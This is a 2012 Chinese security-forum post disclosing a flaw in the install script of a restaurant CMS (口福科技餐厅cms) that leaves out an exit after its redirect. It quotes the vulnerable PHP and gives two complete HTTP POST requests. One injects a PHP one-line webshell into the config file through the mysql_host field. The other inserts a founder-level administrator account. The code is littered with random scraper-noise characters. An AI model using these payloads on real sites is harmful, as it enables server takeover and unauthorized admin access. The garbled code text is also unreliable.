找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1886|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
- Q6 T& a% `. [/ N2 ?& W  m& }1 T1 u
<?php
0 Q( V5 |  {5 Bif(file_exists("../install.lock"))
9 }! ?4 @) X; A- g3 b{( Y* T2 T3 u3 ?9 _2 ]
    header("Location: ../");//没有退出
3 J. R& L& \- [% C" P}
; @  Y, k7 D3 F( m: E9 I/ Y& ~4 d. }               
8 s4 o/ V7 E, `3 a( A% n8 v//echo 'tst';exit;
' L9 d9 @$ }/ E8 P* \9 h8 _require_once("init.php");
* L, w; B6 h# d/ w! C( |/ b, {6 ?- Wif(empty($_REQUEST['step']) || $_REQUEST['step']==1)5 e5 v( M0 W8 ^6 u) X5 L* F, s0 S
{
3 t5 x8 q3 P. b' b: B! S可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
) M" n# T. u2 ]4 c( Y$ z( Q- D
2 o4 h5 D; V* a. H! |0 }7 }: d1、getshell(很危险)9 A: ]$ i% o- |
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
# Q' q* ?3 r7 w+ F' ~0 x7 h{
' E6 E+ _( v: [& s& Y# \$smarty->assign("step",1);. V5 X& D% ?3 [, D& G; D* I5 m' ^
$smarty->display("index.html");0 f# q0 v6 A$ e* M2 l3 A: s
}elseif($_REQUEST['step']==2)) s4 Y( R$ U+ n4 [; s/ j
{. i8 [7 f' i6 V7 \
    $mysql_host=trim($_POST['mysql_host']);
0 o4 v5 H6 x" i+ V2 j. p+ o; f    $mysql_user=trim($_POST['mysql_user']);
2 J+ e4 e) N1 h6 R. ]% n    $mysql_pwd=trim($_POST['mysql_pwd']);! s( U( N$ |) ^( C0 M2 ^8 h  g% J
    $mysql_db=trim($_POST['mysql_db']);# I1 w5 i  a- k8 O2 e; r! B: Y5 k
    $tblpre=trim($_POST['tblpre']);
2 b5 a9 \6 _7 B0 `" x; b    $domain==trim($_POST['domain']);
6 X9 I6 P6 S2 R# a3 l( _# G    $str="<?php \r\n";
, ~4 J' @$ l8 R. A3 ~$ R" [; M    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
1 {/ M9 e7 ]  O/ ~3 {: `    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
3 ^9 U9 u1 R8 H8 o    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
+ j; T/ y* @/ y  o, c5 K    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";1 i0 }+ G$ q# D1 ?% ?# Z
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
9 N; X& `1 s- D0 W    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
: z. a4 w0 N, q. ~$ o$ e    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
" D. M- i% ]. S$ h7 l    $str.='define("SKINS","default");'."\r\n";* P' Z  M, L; {, j7 R  u; i! a
    $str.='?>';- |) B0 M8 n& G/ B, F
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
4 v; E5 r( `! t. {4 n上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马* l/ N" ?  ~  A; L# e$ x+ T5 ^/ ]
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
1 |4 t; u# Z! [* m( N, i$ tHost: 192.168.80.129
, c) D; f' ^4 O" k. B; x; u. oUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
- X0 D2 \3 t5 k* G1 m0 ~5 i& iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+ E  t( ]$ d6 \+ E; c9 rAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
' T; }, l0 R2 [* _0 f( rAccept-Encoding: gzip, deflate: Q; r" H# R8 _! T2 H/ }
Referer: http://192.168.80.129/canting/install/index.php?step=1* E% h5 }* ~% i6 u- ^. j1 p
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( Y) V, e% ~/ B% GContent-Type: application/x-www-form-urlencoded9 A+ \! E# \% {8 z. {/ B
Content-Length: 126
* \, M$ D, R" a. p/ e         
$ l! q: c2 [! ?; V6 N! h/ `2 o2 A5 nmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD# y  p( {1 N6 I% H* p5 x( S
但是这个方法很危险,将导致网站无法运行。8 q7 T9 S/ e. j, r6 T/ X) ^, R

8 E; h6 W1 t9 \% T2、直接添加管理员. S! ^* ~- X- s5 s+ M! W
; ?4 M( u7 D' m$ ^
elseif($_REQUEST['step']==5)
2 f* ?: a7 B6 A{
& j/ p/ k; V( m    if($_POST)7 [0 b$ M. N0 z) |3 X+ e
    {   require_once("../config/config.inc.php");
6 b7 F4 ?1 E' w  e  }1 @/ d        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
/ t1 o  a1 H( d        mysql_select_db(MYSQL_DB,$link);# ]0 \+ W7 j6 a! Q( I6 e; v, T
        mysql_query("SET NAMES ".MYSQL_CHARSET );0 o9 q7 _  M! B/ z+ j
         mysql_query("SET sql_mode=''");$ D7 o1 a4 f' j" k; g
+ e5 y. ~. t7 V+ R% s: X
$adminname=trim($_POST['adminname']);
! m! W# I9 f" }( y7 [" h        $pwd1=trim($_POST['pwd1']);; Z* c5 j  }1 b( c# W2 w( s
        $pwd2=trim($_POST['pwd2']);
! M! a: ~& I  w' P        if(empty($adminname))
2 ^4 H, k; t, L& X+ _7 c        {. r3 F" L& t5 z# v) w4 _) X8 g
- O! I- q7 o- ^. o" M+ L
echo "<script>alert('管理员不能为空');history.go(-1);</script>";* f+ ~# j' b  l8 Q/ m6 w
            exit();% \  O( f& X  C. @4 m5 t
        }; n( \1 _% L: L0 `# o/ l) T
        if(($pwd1!=$pwd2) or empty($pwd1))
& l' [2 n% p) Z# G( W2 g; @        {6 h) X! T, W- e
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出4 O. X5 n* H; V
        }
+ I: v, b( A, K) P* [/ ]* V        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员) H0 c! h4 @+ o* F- G
    }  R: W" Q& g' m7 H* D! T0 S
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
0 P* x) p: L, w* g) |POST /canting/install/index.php?m=index&step=5 HTTP/1.1
+ S  W" _. k- F2 f- g6 z' IHost: 192.168.80.129* z( Y9 k; L' y3 Q# R
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
3 I( x: Y! O5 R7 w- }5 U0 p1 }, XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8% J9 Z' _( {: p* e/ H0 ~1 S& C
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.30 a2 c5 e3 y: W  `5 W1 ?: o3 G' [- N
Accept-Encoding: gzip, deflate
! N4 C" U! [+ G2 _9 UReferer: http://www.2cto.com /canting/install/index.php?step=1  v, a$ s# K& b0 W7 ~$ x" I, u
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42* [! l. h- a) L
Content-Type: application/x-www-form-urlencoded7 b: p" _: r0 ?2 s2 a) c
Content-Length: 46# H4 V" q9 v5 s6 i/ c
      
- |7 C- i0 y2 l: n  Yadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
# p9 j6 B! p; n! I+ H% x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表